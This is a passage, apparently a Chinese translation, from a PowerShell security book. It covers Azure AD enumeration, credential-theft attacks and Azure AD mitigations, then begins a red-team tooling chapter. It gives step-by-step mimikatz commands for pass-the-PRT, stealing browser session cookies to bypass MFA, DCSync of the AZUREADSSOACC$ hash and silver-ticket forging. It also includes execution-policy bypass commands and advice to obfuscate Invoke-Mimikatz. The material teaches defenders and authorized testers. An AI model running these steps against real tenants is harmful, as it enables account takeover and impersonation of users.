  • Get-MgServicePrincipalOwnedObject: 获取某个特定服务主体(SP)拥有的所有对象

  • Get-MgServicePrincipalCreatedObject: 获取某个特定服务主体(SP)创建的所有对象

  • Get-MgServicePrincipalTransitiveMemberOf: 枚举服务主体(SP)的组和角色成员身份

使用 Az PowerShell 模块,您也可以在 AAD 中枚举服务主体(SP):

> Get-AzADServicePrincipal

通过使用 -ObjectId 参数,您可以指定一个单一的服务主体(SP),并通过使用 -DisplayName 参数,您可以按显示名称筛选服务主体。

同样,通过 Azure CLI,您也可以轻松地查看所有服务主体的概况:

> az ad sp list --output=table --query='[].{Name:displayName,Enabled:accountEnabled,URL:homepage,Publisher:publisherName}'

类似于 Az 和 Microsoft Graph 模块,您还可以使用 Azure CLI 按显示名称进行筛选:

> az ad sp list --output=table --display-name='<display name>'

这些是您可以在 AAD 中使用的一些枚举方法,但当然并不完整。还有一些非常有用的工具可以用于枚举目的,例如以下这些:

请注意,某些方法和/或工具会产生大量噪声,容易被检测到。

现在我们已经介绍了各种枚举技术来收集目标环境的信息,接下来让我们专注于一种更具恶意的活动:凭证盗窃。

凭证盗窃

与本地 AD 类似,在 AAD 中,身份也是新的边界,对对手来说极具价值。尽管技术以及代码审查和安全编码流程在这些年里有了显著提升,零日漏洞依然存在,但要发现它们并找到滥用它们的方式极其困难。因此,对手将目标锁定在最薄弱的环节——用户,也就是身份。

在本节中,我们将探讨对手如何窃取 AAD 用户的身份并以他们的名义进行操作的不同方式。

令牌盗窃

在实际中最常见的场景之一是令牌盗窃。令牌盗窃是 AAD 中常见的攻击方式,它发生在攻击者获得用户的会话令牌、身份验证令牌或会话 cookie 时。这些令牌(如刷新令牌和访问令牌)可以被用来未经授权访问用户的帐户和敏感信息。

当我们谈论 Azure 中的令牌盗窃时,通常是以下其中一种资源,攻击者试图通过窃取的令牌访问:

  • https://storage.azure.com: 指的是 Azure 存储,它为各种数据类型提供基于云的存储解决方案。

  • https://vault.azure.net: 代表 Azure 密钥保管库,这是一个用于存储和管理加密密钥、机密和证书的安全服务。

  • https://graph.microsoft.com: 与 Microsoft Graph 相关,这是一个 API 端点,可用于访问 Microsoft 365 服务和数据。

  • https://management.azure.com: 对应 Azure 管理 API,该 API 可用于管理和控制 Azure 资源及服务。

令牌盗窃攻击通常从钓鱼攻击开始:对手向用户发送电子邮件或消息,通常附带一个恶意文件。当用户打开并执行附件时,恶意软件通常会执行并试图从内存中提取令牌。

PRT 是验证云连接和混合设备与 AAD 的关键组件。它的有效期为 14 天,并且每 4 小时刷新一次。PRT 由 CloudAPLSA 中保护,且会话密钥由 TPM(如果存在)保护。值得注意的是,只有在 AAD 注册、AAD 加入或混合 AAD 加入的设备上,原生应用程序(如 Outlook 客户端)才会收到 PRT。因此,在工作组机器上的浏览器会话将无法获得 PRT。

攻击者可以通过两种方式窃取和滥用 PRT:一种是传递 PRT,另一种是传递由 PRT 生成的 cookie。

传递 PRT,攻击者通常使用mimikatz或 ProcDump 等工具从受害者计算机上的 LSASS 进程中窃取 PRT。这些工具转储 LSASS 进程,并允许攻击者提取 PRT。一旦获得 PRT,攻击者可以在自己的计算机上生成 PRT Cookie,并用它从 AAD 获取访问令牌。这种攻击需要受害者机器上的管理员权限。

让我们来看一下如何执行一个传递 PRT 的攻击。你可以通过使用mimikatz轻松访问本地 PRT:

> privilege::debug
> sekurlsa::cloudap

现在,通过 LSA CloudAP 保护的凭证被显示出来,如下截图所示:

图 7.15 – 使用 mimikatz 显示 PRT

图 7.15 – 使用 mimikatz 显示 PRT

如果存在 PRT,它将在前面的截图中显示为PRT标签部分。现在,你可以提取 PRT 并继续操作。

为什么在使用 mimikatz 时看不到 PRT?

如果在使用mimikatz时没有看到 PRT,请确保你的设备确实已加入 AAD,可以通过使用dsregcmd /status命令来检查。如果已加入,你应该在SSO State下看到AzureAdPrt的值为YES

为了更好地阅读,我将输出复制并粘贴到 Visual Studio Code 中进行格式化。复制Prt标签的值以备后用。下一步,你需要提取ProofOfPossessionKeyKeyValue,这基本上就是会话密钥,如下截图所示:

图 7.16 – 查找会话密钥

图 7.16 – 查找会话密钥

接下来,我们需要使用 DPAPI 主密钥解密会话密钥。由于此步骤需要在SYSTEM上下文中执行,因此我们首先在mimikatz中使用token::elevate提升权限,然后再尝试解密。在以下示例中,将<CopiedKeyValue>替换为你之前提取的ProofOfPossesionKeyKeyValue

> token::elevate
> dpapi::cloudapkd /keyvalue:<CopiedKeyValue> /unprotect

密钥已解密,你可以再次在控制台中看到多个标签和值显示;下一步生成 PRT Cookie 时,你需要复制Context的值以及Derived Key标签的值,如下截图所示:

图 7.17 – 提取未加密的值以生成 PRT Cookie

图 7.17 – 提取未加密的值以生成 PRT Cookie

现在,你可以生成一个 PRT Cookie,然后用它代表用户访问 AAD。在以下命令中,将<Context>替换为Context的值,将<DerivedKey>替换为Derived Key的值,最后,将<PRT>替换为你之前复制的Prt标签的值:

> Dpapi::cloudapkd /context:<Context> /derivedkey:<DerivedKey> /Prt:<PRT>

如下截图所示,生成了一个新的 PRT Cookie,你现在可以在会话中使用它来伪装成PSSec-User

图 7.18 – 生成新的 PRT Cookie

图 7.18 – 生成了新的 PRT cookie

现在浏览到 login.microsoftonline.com/ —— 无论是在另一台客户端上还是在私密/匿名会话中。系统会提示你输入凭据:

图 7.19 – Microsoft 登录提示

图 7.19 – Microsoft 登录提示

现在检查网页的源代码。在 Microsoft Edge 中,你可以右键点击并选择检查;对于 Google Chrome 或 Mozilla Firefox,也有类似的选项。根据你在演示环境中使用的浏览器选择合适的选项。

无论如何,在 Microsoft Edge 中,你可以在使用开发者工具时,找到**应用程序 | **Cookies,清除所有现有 cookies,并创建一个新的 cookie,包含以下信息:

Name: x-ms-RefreshTokenCredential
Value: <PRTCookie>
HttpOnly: Set to True (checked)

要在 Microsoft Edge 的开发者工具中创建一个 cookie,你只需双击一个空行并添加内容。确保用你之前创建的 cookie 值替换<PRTCookie>

图 7.20 – 在浏览器会话中创建新的 PRT cookie

图 7.20 – 在浏览器会话中创建新的 PRT cookie

再次访问 login.microsoftonline.com/ 网站时,系统应该会自动将你认证为被入侵的用户。

pass-the-PRT-cookie 攻击类似于 pass-the-PRT 攻击;攻击者从受害者的计算机中窃取新生成的 PRT cookie。一旦攻击者获得了 PRT cookie,他们可以使用它从 AAD 获取访问令牌。与窃取 PRT 不同,取决于攻击场景和使用的工具,这种攻击类型不需要受害者机器上的管理员权限。

要获取 PRT cookie,攻击者可以手动从浏览器中提取 cookie,并将其粘贴到另一台计算机的浏览器会话中,或者从浏览器的数据库中提取 cookie。

在开始之前,确认系统上存储 cookies 的位置。该位置通常是以下路径之一:

  • C:\Users\YourUser\AppData\Local\Google\Chrome\User Data\Default\Cookies

  • C:\Users\YourUser\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies

在我的虚拟机中,Chrome 的 cookies 存储在路径C:\Users\YourUser\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies下。

mimikatz.exe 是多种工具之一,可以帮助你从 Google Chrome 提取 PRT cookie。请注意,使用这种方法时,你需要请求调试权限。默认情况下,管理员账户拥有该权限,除非被限制。

首先请求调试权限,然后运行相应的dpapi::chrome命令提取当前浏览器的所有 cookies:

> privilege::debug
> dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Network\Cookies" /unprotect

现在在输出中查找ESTSAUTHPERSISTENT cookie。这就是你需要提取的 cookie,因为它允许用户始终保持登录状态:

图 7.21 – 使用 mimikatz 提取 PRT cookie

图 7.21 – 使用 mimikatz 提取 PRT cookie

现在你已经提取了 PRT cookie,可以在另一台计算机上重用它来登录,甚至绕过多因素认证(MFA)。访问portal.azure.com/并打开开发者工具。在此示例中,我使用的是 Microsoft Edge。当提示进行身份验证时,在开发者工具中浏览至Application** | **Cookies** | **https://login.microsoftonline.com并创建一个新的 cookie,如下图所示:

图 7.22 – 在 Microsoft Edge 中创建 ESTSAUTHPERSISTENT cookie

图 7.22 – 在 Microsoft Edge 中创建 ESTSAUTHPERSISTENT cookie

创建一个名为ESTSAUTHPERSISTENT的 cookie,并将之前提取的 PRT cookie 作为值输入。将该 cookie 设置为HttpOnly并重新加载页面。你将以刚刚窃取 cookie 的用户身份登录。

你还可以使用像ROADtools这样的工具,通过命令行登录以进一步自动化你的攻击。由于 ROADtools 不是基于 PowerShell 的,因此我们在本书中不会深入讨论它。你可以从 GitHub 下载 ROADtools:https://github.com/dirkjanm/ROADtools。

另一个能帮助你进行各种 AAD 相关攻击的令人印象深刻的工具套件是AADInternals,它是由 Dr. Nestori Syynimaa 编写的。这个工具可以通过Install-Module AADInternals轻松安装,或者从 GitHub 下载:https://github.com/Gerenios/AADInternals。

无论你是想玩转 PRT,枚举 AAD,还是研究其他与 AAD 相关的攻击,我都强烈推荐你查看庞大的AADInternals项目。你可以在以下链接找到详细的文档:https://aadinternals.com/aadinternals/。

同意授权攻击 – 通过应用程序权限获得持久性

通过同意授权攻击获得持久性通常不是使用 PowerShell 完成的,但你可以使用 PowerShell 定期监视同意权限。此外,如果你确定在你的租户中不需要此功能,也可以关闭用户应用程序同意。

OAuth 同意允许用户授予第三方应用程序在特定范围内访问其数据的权限,例如读取其电子邮件或查看其联系人。但是,攻击者也利用这一点,通过制作钓鱼邮件将用户重定向到一个假的 OAuth 同意页面,用户在不知情的情况下授予访问权限,从而让攻击者获得其帐户的权限。

一旦攻击者获得访问权限,他们可以通过滥用授予的权限来持续控制。方法之一是在租户的 AAD 中注册一个新应用程序,并为其分配 AAD 目录中的角色。需要注意的是,这种方法要求被同意的应用程序拥有注册新 AAD 应用的权限(这需要管理员同意)。因此,为了使这种方法有效,被钓鱼的用户必须具有管理员权限。

攻击者随后可以配置自己的 AAD 应用程序,授予他们委托权限,从而访问目标租户的数据。通过这样做,攻击者即使在用户账户被删除的情况下,也可以从租户环境中窃取数据。

攻击者还可以利用获得的访问权限修改或添加新的应用程序权限。他们可以修改现有权限以绕过现有的安全控制,如 MFA 或条件访问,并长期保持访问权限。此外,攻击者还可以向其他应用程序添加新权限,从而进一步访问租户中的数据。威胁行为者甚至可能为服务主体添加一对新的凭证,扩大其控制范围,危及环境的安全。

通常,OAuth 同意权限很少会被审核,这使得攻击者可以在不被发现的情况下长期滥用用户账户。

有多种方法可以审计 OAuth 同意,这里有相关描述:learn.microsoft.com/en-us/microsoft-365/security/office-365-security/detect-and-remediate-illicit-consent-grants

如果你想使用 PowerShell 来查看 OAuth 同意授权,你会发现Get-MgOauth2PermissionGrantGet-MgServicePrincipalOauth2PermissionGrantGet-MgUserOauth2PermissionGrant cmdlet 非常有帮助。

滥用 AAD 单点登录

AAD 无缝单点登录(SSO)是一项功能,使得用户可以在不需要反复输入登录凭证的情况下,直接登录到与 AAD 连接的应用程序。

如果你想了解更多关于 AAD 无缝单点登录的工作原理,微软已经详细记录了相关信息:learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso-how-it-works

但与所有功能一样,SSO 也可能被威胁行为者滥用;如果攻击者设法破解了 AAD 无缝单点登录计算机账户密码的 NTLM 哈希(AZUREADSSOACC),他们可以用它为他们想要冒充的用户生成一个银票。

因为AZUREADSSOACC账户的密码永远不会改变(除非管理员强制更改密码),因此 NTLM 哈希也会保持不变——这也意味着它将永远有效。拥有AZUREADSSOACC账户的密码哈希,攻击者可以伪装成任何用户,而无需通过 MFA 进行身份验证。

然后,银票可以注入到本地 Kerberos 缓存中,允许攻击者伪装成该用户并访问 AAD 连接的应用程序和服务。这是非常危险的,因为它允许攻击者使用来自互联网的银票。

由于 AAD 无缝 SSO 计算机账户密码不会自动更改,因此这个攻击路径对攻击者更具吸引力。为了利用这一机制,攻击者需要已获得目标网络的域管理员权限。

首先,攻击者需要提取NT LAN ManagerNTLM)哈希值,针对AZUREADSSOACC账户。这可以通过启动mimikatz.exe并运行以下命令来完成:

> lsadump::dcsync /user:AZUREADSSOACC$

此命令需要直接在 DC 上执行,或者由可以复制信息的帐户执行(请参考第六章中的 DCSync 攻击信息,Active Directory – 攻击 与缓解)。

一旦我们获得了该 NTLM 哈希(在此示例中,a7d6e2ca8d636573871af8d4db34f236),我们将把它保存在$ntlmhash变量中,稍后会利用这个变量:

> $ntlmhash = "a7d6e2ca8d636573871af8d4db34f236"

接下来,我们需要域和 SID。如果我们例如想要伪装成用户PSSec-User,以下命令将帮助我们获取所需信息:

$user = "PSSec-User"
$domain = (Get-CimInstance -ClassName Win32_ComputerSystem).Domain
$sid = ((New-Object System.Security.Principal.NTAccount($user)).Translate([System.Security.Principal.SecurityIdentifier])).Value

现在,我们使用之前收集的所有信息,通过mimikatz创建我们的银票:

> .\mimikatz.exe "kerberos::golden /user:$user /sid:$sid /id:666 /domain:$domain /rc4: $ntlmhash /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

启动 Mozilla Firefox 并输入about:config。将 network.negotiate-auth.trusted-uris 配置为包含以下值:https://aadg.windows.net.nsatc.net,** **https://autologon.microsoftazuread-sso.com.

现在,你可以通过浏览到任何与你的 AAD 域集成的 Web 应用程序,并利用无缝 SSO 访问它。

利用通行认证(PTA)

之前我们简要谈到过 PTA,这是一种认证概念,允许用户使用其本地凭据登录云端资源。

利用 PTA 是攻击者绕过合法认证过程的一种方法,通过挂钩系统用来通过 PTA 进行用户身份验证的 advapi32.dll 中的一个相关 LogonUser* 函数。通过将此函数替换为自己的恶意函数,攻击者不仅可以读取所有用于身份验证的密码,还可以实施自己的 骨架钥匙,使他们能够以每个用户的身份进行身份验证,而无需重置单个用户账户的密码。你可以将骨架钥匙想象成类似于主密码,使攻击者能够以任何用户的身份进行身份验证,而无需重置单个用户账户密码。

为了使此攻击有效,存在两个要求:首先,环境需要启用 PTA 的 AAD Connect;其次,攻击者需要访问一个具有管理员权限的账户,该账户可以访问安装了 PTA 认证代理的服务器。

让我们首先看看 PTA 如何工作。下图展示了 PTA 工作流的样子:

图 7.23 – PTA 工作流

图 7.23 – PTA 工作流

为了理解 PTA 工作流,以下列表概述了涉及的每个步骤:

  1. 用户尝试通过使用其用户名和密码对 AAD 或 Office 365 进行身份验证。

  2. 在代理和 AAD 之间建立了一个持久连接:代理队列。AAD 使用代理的公钥加密用户凭证,并将其放入代理队列中,然后加密的密钥被代理收集。

  3. 代理(进程名称为AzureADConnectAuthenticationAgentService)使用其私钥解密用户凭证,并代表用户使用这些凭证对本地 AD 进行身份验证。此过程中的一个功能是 LogonUserW 函数,它是 advapi32.dll API 二进制文件的一部分。

  4. DC 验证用户凭证是否合法,并返回身份验证是否成功。

  5. 代理将 DC 的响应转发到 AAD。

  6. 如果身份验证成功,用户将登录。

如果攻击者获得了对安装了 PTA 代理的服务器的访问权限,他们现在可以轻松地利用代理为自己谋取利益:例如,记录或捕获所有正在由服务器处理的身份验证尝试,甚至实施后门以成功使用每个账户登录。

Adam Chester 在他的博客上提供了一个如何实现这一目标的精彩示例。确保查看一下:blog.xpnsec.com/azuread-connect-for-redteam/#Hooking-Azure-AD-Connect

但是,为了利用 PTA,攻击者需要已经进入网络并且通常已经访问了非常受保护的服务器。因此,如果攻击者能够利用 PTA,你可能面临更严重的问题,应该计划进行受损恢复。

缓解措施

有几种缓解措施可以提高 AAD 的安全性,防止诸如枚举、令牌窃取、同意授权攻击、PTA 和 SSO 攻击等攻击。开始的一个方法是启用 AAD 租户中的安全默认设置,这为所有用户提供了基本的安全级别,包括要求启用多因素认证(MFA)和阻止传统身份验证协议。请同时查看微软推荐的快速安全提升措施:

另一种控制对特定资源访问并限制枚举攻击影响的方法是执行条件访问和身份保护策略。为所有用户启用 MFA 可以增加一层额外的安全性,并减少枚举攻击成功的风险。

为了有效监控和识别可疑活动,强烈建议利用 AAD 的风险 IP 登录和用户报告,并根据登录和用户的风险级别配置条件访问策略。这些内置功能提供了对潜在威胁的全面洞察,并允许进行主动缓解。限制对域控制器(DC)的访问,仅允许授权管理员访问,也可以防止攻击者获得发起攻击所需的初步访问权限。

实施先进的检测技术、基于行为的异常检测和威胁狩猎有助于识别与 PTA 攻击相关的恶意活动。安全启动还可以防止恶意代码注入到合法系统进程中,从而使攻击者更难发动 PTA 攻击。

除了前述的缓解措施外,定期监控 AAD 无缝 SSO 计算机账户(AZUREADSSOACC$)并手动更改其密码可以帮助缓解这种攻击向量。执行强密码策略、实施多因素认证(MFA)、监控可疑活动、定期审查和更新安全策略,以及培训员工掌握最佳安全实践,都是提高 AAD 整体安全性的关键步骤。

同意授权攻击涉及通过欺骗用户授予恶意第三方应用程序权限。为了减轻风险,必须监控在您的租户中授予第三方应用程序的 OAuth 同意权限。通过监控这些权限,您可以在问题发生之前识别并撤销任何未经授权的访问。

为帮助您完成此任务,您可以参考微软关于如何修复非法同意授权的教程:learn.microsoft.com/en-us/microsoft-365/security/office-365-security/detect-and-remediate-illicit-consent-grants

此外,请确保您的用户了解授予第三方应用程序权限的风险,并教育他们如何识别和报告可疑的 OAuth 同意请求。

还请查看以下链接,了解更多提高 AAD 安全性的措施:

摘要

在本章中,您学习了一些关于 AAD 安全的基本方面。AAD 本身是一个庞大的话题,我们可以为其写整本书,因此如果您希望进一步探讨,确保花更多时间进行研究。

我们探讨了 AAD 与本地 AD 之间的差异,并了解到 AAD 不仅仅是云中的 AD,它还具有更多的功能。

现在,您应该熟悉与 AAD 相关的一些协议,并理解身份验证的基本过程,以及对手如何尝试利用这些协议。

理解特权内置账户及其信息来源非常重要,这样您就可以更好地保护环境,或者将这些知识用于下一次红队演练。

我们探讨了通过命令行连接和与 AAD 交互的几种方式,并检查了对 AAD 的几种常见攻击,如匿名和身份验证枚举、密码喷射和凭证窃取。

最后但同样重要的是,你学习了如何通过实施缓解机制更好地保护你的环境。

在谈到 PowerShell 安全性时,身份非常重要。但如果你作为红队成员工作,哪些 PowerShell 代码片段可以帮助你完成日常任务呢?让我们一起在下一章中探索哪些 PowerShell 命令对你的日常任务可能会有用。

进一步阅读

如果你想进一步探索本章提到的一些主题,可以参考以下资源:

什么是 Azure Active Directory?: adsecurity.org/?p=4211

  • Azure** **AD Connect

下载 Azure AD Connect: https://www.microsoft.com/en-us/download/details.aspx?id=47594

  • Entra ID

Azure AD 正在成为 Microsoft Entra ID: techcommunity.microsoft.com/t5/microsoft-entra-azure-ad-blog/azure-ad-is-becoming-microsoft-entra-id/ba-p/2520436

  • 联合

使用 WS-Federation 在 ASP.NET Core 中验证用户: docs.microsoft.com/en-us/aspnet/core/security/authentication/ws-federation?view=aspnetcore-5.0

)

)

+   GitHub 上的 AADInternals: [`github.com/Gerenios/AADInternals`](https://github.com/Gerenios/AADInternals)

你还可以在本章节的 GitHub 仓库中找到所有提到的链接,参考 第七章 —— 无需手动输入每个链接: github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter07/Links.md

第八章:红队任务与食谱

本章旨在为红队成员提供一个快速参考,帮助他们使用 PowerShell 进行任务。虽然内容不完整,但应当能帮助你入门。

在简要介绍攻击阶段后,我们将讨论红队成员在基于 PowerShell 的任务中通常使用哪些工具。接下来,我们将提供一个 PowerShell 食谱,涵盖大多数典型的红队场景。

本章将讨论以下主题:

  • 攻击的阶段

  • 常用 PowerShell 红队工具

  • 红队食谱

技术要求

为了充分利用本章内容,请确保你具备以下条件:

攻击的阶段

当谈到攻击时,通常会重复相同的模式。这些阶段也反映在由红队员执行的专业渗透测试中。

以下图表展示了攻击的各个阶段:

图 8.1 – 攻击的各个阶段

图 8.1 – 攻击的各个阶段

在第一阶段,称为侦察阶段,红队员尽力收集关于目标的尽可能多的信息。一旦该阶段完成,便会识别出可以用于利用并获取目标访问权限的漏洞(漏洞识别)。

一旦成功利用了一个目标,通常会收集凭证,这些凭证可以用于横向移动并收集更多身份信息。后渗透的一部分是获得持久性,这意味着红队成员可以在不需要再次利用漏洞的情况下重新连接。

横向移动还可以通过发现更多可利用的漏洞来实现,例如,通过发现并利用其他连接系统中的漏洞,这些系统不能通过主要入口点访问,也不能仅通过收集和滥用身份信息来轻易达到。

在横向移动时,目标通常是寻找具有高权限的非常有价值的身份,例如域管理员账户,接着可以利用该身份控制整个环境,达到参与的实际目标:在现实世界的对抗场景中,这可能是加密所有可能的系统以勒索赎金(如勒索软件所做的那样),或者尽可能长时间地保持在环境中不被检测到,以提取信息

最后但同样重要的是,攻击者会在真实世界的场景中尝试掩盖他们的踪迹。这个步骤——当然——在我们讨论渗透测试时并不必要;在这种情况下,渗透测试人员通常会在最后一步写一份报告来呈现他们的发现。

所有这些步骤听起来可能相当耗时,但实际上,大部分步骤已经被编写成脚本,只需要几个小时甚至几分钟,整个环境就可以被攻破。只要攻击没有开始,攻击者就有足够的时间进行侦察,尽可能多地了解目标并做好准备。

一旦第一个主机被攻破,通常不会超过 24 到 48 小时,域管理员账户就会被攻破。但通常情况下,根据组织和行业的不同,发现实际攻击发生通常需要一段时间……如果能够检测到的话……

如果攻击者正在发起勒索软件攻击活动,一旦他们开始加密系统并要求赎金,通常不会不被注意。但通常,他们仍会在攻击准备阶段保持隐匿一段相当长的时间。

对于红队成员来说,PowerShell 是一个非常棒的工具,因为它内置于每个现代 Windows 操作系统中,并提供了远程命令执行的机制。它还通过 WMI 和 .NET Framework 提供了对系统 API 的完全访问,可以用于无文件代码执行,这意味着恶意代码可以在内存中执行,而无需写入磁盘。此外,它还可以用来规避杀毒软件AV)以及入侵防御系统IPS)。

尽管红队成员可以利用许多命令来实现他们的目的,但也有大量的开源工具提供了多种功能,这些功能在红队任务和现实世界中的攻击场景中都非常有帮助。

常见的 PowerShell 红队工具

已经发布了许多 PowerShell 编写的工具,能够帮助你完成红队任务——这些工具太多了,以至于你不可能使用每一个。在本节中,我们将介绍一些最著名且有帮助的工具,帮助你入门,并为你提供一个概览,看看有哪些工具可以为你提供帮助。

PowerSploit

PowerSploit 是一套 PowerShell 模块和脚本,旨在帮助红队成员在渗透测试过程中使用。最初由 Matt Graeber 开发。虽然它不再受到支持,但仍有许多有用的工具和脚本可以派上用场。PowerSploit 可以从 GitHub 下载:https://github.com/PowerShellMafia/PowerSploit。

虽然大多数功能在 Windows PowerShell 中工作正常,但在 PowerShell 7 及以上版本中并不适用。PowerSploit 使用的某些功能是基于.NET Framework 的,而这些功能并未移植到 PowerShell 7 所依赖的.NET Core 中。因此,在 PowerShell 7 及以上版本中运行 PowerSploit 时,您可能会遇到错误。因此,本章演示时我们将使用 Windows PowerShell。

PowerSploit 是一个非常广泛的工具集,因此我们不会深入探讨它。它包含几个子文件夹,将其 PowerShell 模块分为以下类别:

  • CodeExecution

  • ScriptModification

  • Persistence

  • AntivirusBypass

  • Exfiltration

  • Mayhem

  • Privesc(权限提升)

  • Recon(侦察)

您可以选择将整个集合作为模块加载,或仅加载其中的部分内容;也可以将其中一个子文件夹复制并粘贴到您的模块文件夹中,然后加载它。

与往常一样,您可以通过运行以下命令查找 PowerSploit 的所有相关功能和别名:

Get-Command -Module PowerSploit

为了充分利用它,您可以参考官方文档:powersploit.readthedocs.io/en/latest/

PowerSploit 中的一个值得重新审视的工具是 PowerView。

PowerView

您可以在 GitHub 上的Recon文件夹中找到PowerView脚本:github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

您可以选择导入并加载整个Recon文件夹,或者只下载并运行PowerView.ps1脚本,这在您需要从内存而非磁盘执行有效载荷时,可能会更方便。

PowerView 有许多内置功能,其中一些功能如下:

  • 列举和收集有关域、域控制器DCs)、用户、组、计算机、全局目录、目录服务站点和信任的信息

  • 列举域资源的权限和访问控制

  • 确定特定域中用户登录的位置以及当前用户可以访问的机器

您可以在官方文档中找到 PowerView 的完整概述:powersploit.readthedocs.io/en/latest/Recon/

Invoke-Mimikatz

Mimikatz是网络安全领域的一个知名工具。它帮助您从本地安全机构LSA)提取并重用凭据,如哈希值或票证,这使得红队人员可以进行Pass-the-HashPtH)或Pass-the-TicketPtT)攻击。

Mimikatz 本身是由 Benjamin Delpy 用 C 编写的。然而,Joseph Bialek 成功地将其封装成一个 PowerShell 脚本,并将其包含在 PowerSploit、Nishang 和许多其他工具包中。我相信,当我写这本书时,Nishang 中托管的脚本是我能找到的最新版本:raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1

在将 Invoke-Mimikatz.ps1 脚本加载到当前会话中后,只需在 PowerShell 命令行执行 Invoke-Mimikatz 即可调用 Mimikatz 的功能。

有关官方 Mimikatz 文档,请参考 C 版本 Mimikatz 的 GitHub 仓库:github.com/gentilkiwi/mimikatz

在写作时,Mimikatz 已经为防御者和反恶意软件解决方案广为人知,因此你不应当仅仅假设 Invoke-Mimikatz 会在不被检测或警报的情况下正常工作。为了使其成功运行,你需要对其进行混淆——即使如此,它仍然很可能会被检测到。

Empire

PowerShell Empire 是一个后渗透框架,由 Will Schroeder、Justin Warner、Matt Nelson、Steve Borosh、Alexander Rymdeko-Harvey 和 Chris Ross 开发。虽然现在已经不再维护,但它仍然包含许多有用的功能。

它的构建目的是为红队成员提供一个平台,用于执行后渗透任务,类似于 Metasploit,并包含以下特性:

  • 生成有效负载以攻陷系统的能力。

  • 导入并使用第三方工具(如 Mimikatz)的能力。

  • 一个命令与控制C2)服务器,可用于与被攻陷的主机进行通信。

  • 一组可以用于多种任务的后渗透模块库,例如信息收集、权限提升和建立持久性。

Empire 可以从 GitHub 下载:github.com/EmpireProject/Empire

为了快速入门,甚至提供了一个快速入门指南:github.com/EmpireProject/Empire/wiki/Quickstart

Inveigh

Inveigh 是一个 .NET 平台下的 IPv4/IPv6 中间人工具,由 Kevin Robertson 开发。它最初是在 PowerShell 中开发的,但后来被移植到了 C#,从而使其支持跨平台使用。Inveigh 的最新 PowerShell 版本是 1.506,且在写作时已不再开发,但仍然可以在 GitHub 上获取。最新的 C# 版本是 2.0.9。

以下是 PowerShell 版本的主要特性:

  • 域名系统(DNS)/活动目录集成 DNS(ADIDNS)/链接本地多播名称解析(LLMNR)/多播 DNS(mDNS)/NetBIOS 名称服务(NBNS)欺骗。

  • Inveigh 可以通过 .NET 数据包嗅探监听并响应 LLMNR/mDNS/NBNS 请求。

  • Inveigh 可以捕获通过 SMB 进行的 NTLMv1/NTLMv2 认证尝试。

  • Inveigh 提供 HTTP/HTTPS/代理监听器,用于捕获传入的认证请求。

它可以从 GitHub 下载:https://github.com/Kevin-Robertson/Inveigh。

PowerUpSQL

PowerUpSQL是由 Scott Sutherland 开发的 PowerShell 模块,用于攻击 SQL 服务器。尽管它提供了多种可能性,但目前尚不支持 SQL 注入。

以下是 PowerUpSQL 功能的概览:

  • 枚举 SQL Server 实例和数据库,以及用户、角色和权限。

  • 弱配置审计

  • 权限提升和获取系统级访问权限。

您可以在 GitHub 上找到此项目及其文档:https://github.com/NetSPI/PowerUpSQL。

AADInternals

AADInternals是由 Nestori Syynimaa 开发的一个广泛的 PowerShell 模块,提供了丰富的功能,用于管理、枚举和利用 Azure AD 和 Office 365 环境。

它的一些特性如下:

  • 枚举 Azure AD 和 Office 365 环境;审查并修改权限和访问权。

  • 创建后门用户。

  • 提取凭证,如 PRT(持久令牌)。

  • 提取或更改 Azure AD 连接器帐户密码。

  • 篡改认证选项。

  • 提取加密密钥。

  • 在 Azure AD 中创建用户。

  • 以及更多。

您可以通过 PowerShell 命令行简单地使用Install-Module AADInternals来安装它。您可以从 PowerShell Gallery 下载: https://www.powershellgallery.com/packages/AADInternals/。

您也可以在 GitHub 上找到该项目:https://github.com/Gerenios/AADInternals。

红队工具书

在本节中,您将找到一些适用于红队任务的便捷代码片段。请同时参考第九章蓝队任务与工具书,在那里您将找到许多蓝队员的代码片段和脚本。这些有时也对红队员有所帮助。

请注意,这本工具书并不是一个完整的红队参考资料,因为那样会填满一本书。它的目的是作为一个有用的资源,帮助您开始进行与 PowerShell 相关的红队任务。

为了让刚接触网络安全的人更容易理解,本工具书已根据MITRE ATT&CK领域进行分类。请注意,您在本工具书中找不到所有的 MITRE ATT&CK 领域。

您可以在官方 MITRE 网页上找到完整的 MITRE ATT&CK 企业矩阵:https://attack.mitre.org/matrices/enterprise/。

侦察

通常,每次攻击都始于侦察,这是敌对方收集目标系统、网络或组织信息的初始阶段。每一小块信息都有助于规划攻击的下一阶段,获得洞察和知识,识别有价值的目标,从而执行更有针对性和成功的攻击或评估。

查找 AAD/Entra ID 用户是否存在并查看其特定于云的详细信息。

你想查找是否存在 Azure/Entra ID 用户,并希望查看他们的云端详细信息。你还想了解是否使用了联合 Active Directory,或者公司是否使用了 O365。

解决方案

为此,你可以查询其中一个 Azure AD/Entra ID 的 API:

> $AadInfo = Invoke-WebRequest "https://login.microsoftonline.com/getuserrealm.srf?login=PSSec-User@PSSec-Demo.onmicrosoft.com&xml=1"
> ([xml]$ AadInfo.Content).RealmInfo

你可以在 第七章 中找到更多关于这个 API 以及它返回的 XML 值的信息,黑客云端 – 利用 Azure Active Directory/Entra ID

执行

在攻击的执行阶段,攻击者会进行恶意活动。执行阶段可以与其他阶段结合,如执行混淆的 PowerShell 命令,用于收集另一台主机的更多信息。

绕过执行策略

你遇到了一个执行策略被强制执行的系统;它们阻止你运行脚本,所以你想要绕过它们。

配置执行策略有多种方式:可以在本地配置,或通过组策略等管理解决方案进行配置。根据配置方式的不同,解决方案也有所不同。

解决方案

第一章 中详细讨论的那样,PowerShell 入门,执行策略并非一种安全控制,不会阻止对手运行恶意代码。它只是一个功能,用来防止用户不小心执行脚本。然而,有多种方法可以避免执行策略。

如果执行策略没有通过组策略强制执行,你可以轻松地将其设置为 Unrestricted,前提是你是本地管理员:

> Set-ExecutionPolicy Unrestricted

如果你不是本地管理员,并且执行策略没有通过 GPO 强制执行(仅本地设置),你可以使用以下代码:

> powershell.exe -ExecutionPolicy Bypass -File script.ps1
